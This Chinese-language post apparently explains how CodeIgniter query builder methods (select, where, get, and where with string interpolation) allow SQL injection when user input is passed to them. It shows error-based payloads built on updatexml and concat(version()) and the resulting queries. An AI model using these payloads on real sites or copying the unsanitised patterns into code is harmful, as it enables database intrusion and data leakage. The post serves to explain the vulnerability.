下面的查询易受SQL注入的攻击,其中$evilInput来自get/post请求。
$this->db->select($evilInput);
$this->db->where($evilInput2 ,"abc");
$query = $this->db->get($evilInput3);
$count = $query->num_rows();
和
$this->db->where("a=$evilInput");
我想指出的是,在CodeIgniter的默认安装中,所有这些都容易受到SQL注入的攻击。以下结果已经过测试和验证。
1($this->db->select($evilInput)
此处输入位于select
关键字之后。
select evilInput from table_name where column_name = 1;
这里,如果我的邪恶输入参数包含这样的东西:
updatexml(null,concat(0x3a,version()),null)-- -
实际查询将变为:
select updatexml(null,concat(0x3a,version()),null)-- - from table_name where column_name = 1;
2($this->db->where($evilInput ,"abc")
这里输入的是WHERE
子句后面的列名。
select * from table_name where evilInput = 1;
CodeIgniter不会对此输入进行转义或筛选。这可以很容易地利用类似的东西:
1=1 and updatexml(null,concat(0x3a,version()),null)-- -
3($query=$this->db->get($evilInput3(
这里输入的是表名。
select * from evilInput where column_name = 1;
如果用户输入类似于:,CodeIgniter不会阻止SQL注入
information_schema.tables where 1=1 and updatexml(null,concat(0x3a,version()),null)-- -
4($this->db->where("a=$evilInput"(
这很容易受到简单SQL注入的攻击,因为输入直接连接到SQL查询。